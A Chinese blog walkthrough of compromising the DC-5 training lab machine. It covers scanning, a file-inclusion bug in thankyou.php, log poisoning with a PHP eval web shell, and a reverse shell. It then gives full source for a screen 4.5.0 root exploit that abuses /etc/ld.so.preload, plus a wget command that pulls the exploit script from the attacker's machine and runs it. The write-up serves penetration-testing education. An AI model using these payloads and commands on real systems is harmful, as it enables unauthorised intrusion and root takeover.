DC5靶机渗透全流程

starme / 2024-10-19 / 原文

DC-5 √

参考:https://www.freebuf.com/sectool/259277.html

1.nmap

老规矩,nmap扫IP和端口:

# 扫IP:
nmap -sP 192.168.40.148/24
# 扫端口:
nmap -A 192.168.40.164 -p 0-65535

image-20230724232945631

image-20230724233033914

开放了两个端口:

1.80端口-http服务

2.111端口-rpcinfo服务

2.dirsearch

对80端口进行dirsearch扫描:

apt-get install dirsearch

dirsearch -u http://192.168.40.164/ -e*

image-20230724234012469

发现了几个可疑文件:contact.php,faq.php,footer.php,thankyou.php

再逐个访问这些文件,发现这几个文件可能有问题:

contact.php

image-20230817152438698

footer.php:页面的数字在刷新之后会变化:

image-20230817152532039

thankyou.php

image-20230817152618293

想来footer.php和thankyou.php应该有点关系,看起来可能是thanyou.php中包含了footer.php:

所以可能存在文件包含漏洞

3.爆破变量名与文件包含漏洞

爆破变量名:

image-20230724235934810

image-20230725000017866

image-20230725000033415

初步证明了存在文件包含漏洞,且变量名为file

再次验证:

image-20230725000236003

验证确实有文件包含漏洞

又由前面得知是nginx服务器,所以可以尝试包含日志access.log

访问日志主要记录客户端的请求。客户端向Nginx服务器发起的每一次请求都记录在这里。客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到。

位置:/var/log/nginx/access.log (Nginx服务器)

image-20230725000740122

由于原DC-5靶机出了意外,所以现在新开了一个DC-5靶机,靶机IP为192.168.40.170

写入一句话木马: (注意是直接在hackbar中修改)

image-20230803102606449

<?php @eval($_POST[1]);?>

再次包含日志:

image-20230803102729441

参考:https://blog.csdn.net/qq_43462485/article/details/109337431

蚁剑连接:http://192.168.40.170/thankyou.php?file=../../../../var/log/nginx/access.log

image-20230803102916641

使用蚁剑是为了方便上传文件,免得使用wget等命令

可以在蚁剑中打开虚拟终端:

image-20230803103326928

由于日志时常在更新,可能不稳定,所以再次上传文件:

由于在网站根目录无法实现上传或新建php文件的功能,所以选择/tmp目录

image-20230803104521786

image-20230803104835259

image-20230803104922256

再次连接:这下连接就变得比较稳定了(但注意/tmp目录下的文件按照规则会自动清理)

image-20230803104958452

4.提权

查找具有SUID权限的命令:

find / -perm /4000 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# 经测试,这3条语句均能用,且作用等效

image-20230725103455828

查找漏洞:

searchsploit screen 4.5.0

image-20230725103807630

完整路径:/usr/share/exploitdb/exploits/linux/local/41154.sh

查看这个41154.sh文件:

image-20230725235141619

在利用EXP之前先通过蚁剑反弹shell:

image-20230803222435619

在kali上接收反弹的shell,并改为交换式shell:

image-20230803222532572

反弹shell后cd到靶机的/tmp目录,之后所有的操作都在这个目录下进行,不涉及靶机的其他目录

创建libhax.c:(通过蚁剑完成-直接编写或拖拽上传写好的libhax.c文件)

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

image-20230803222747761

# 在反弹的shell上编译并删除libhax.c
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

注意先后顺序

创建或上传rootshell.c文件-可通过蚁剑完成

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

image-20230803223352655

# 在反弹的shell上编译并删除rooshell.c
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

将剩余代码放入d.sh文件中:并在末行模式下输入:set ff=unix

# kali,这里选择/tmp目录
vim d.sh   
:set paste->回车
粘贴d.sh内容(见后)
:set ff=unix ->回车
:wq -> 回车
php -S 0.0.0.0:8081 # 以便执行后来的wget命令,注意这个命令要在d.sh所在目录下运行

image-20230803225157522

# d.sh的内容
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

通过wget或蚁剑将d.sh上传到靶机的/tmp目录下

# 反弹的shell上运行:
wget http://192.168.40.148:8081/d.sh 
chmod +x d.sh # 赋权
./d.sh  # 执行

然后提权成功,拿到flag

在反弹的shell上运行的命令:

image-20230803224453580

image-20230803225558081

image-20230803225626118

注意点:

1.反弹shell后编译,避免在kali上编译,否则会出现:

2.避免在蚁剑的虚拟终端中编译

3.注意命令执行的顺序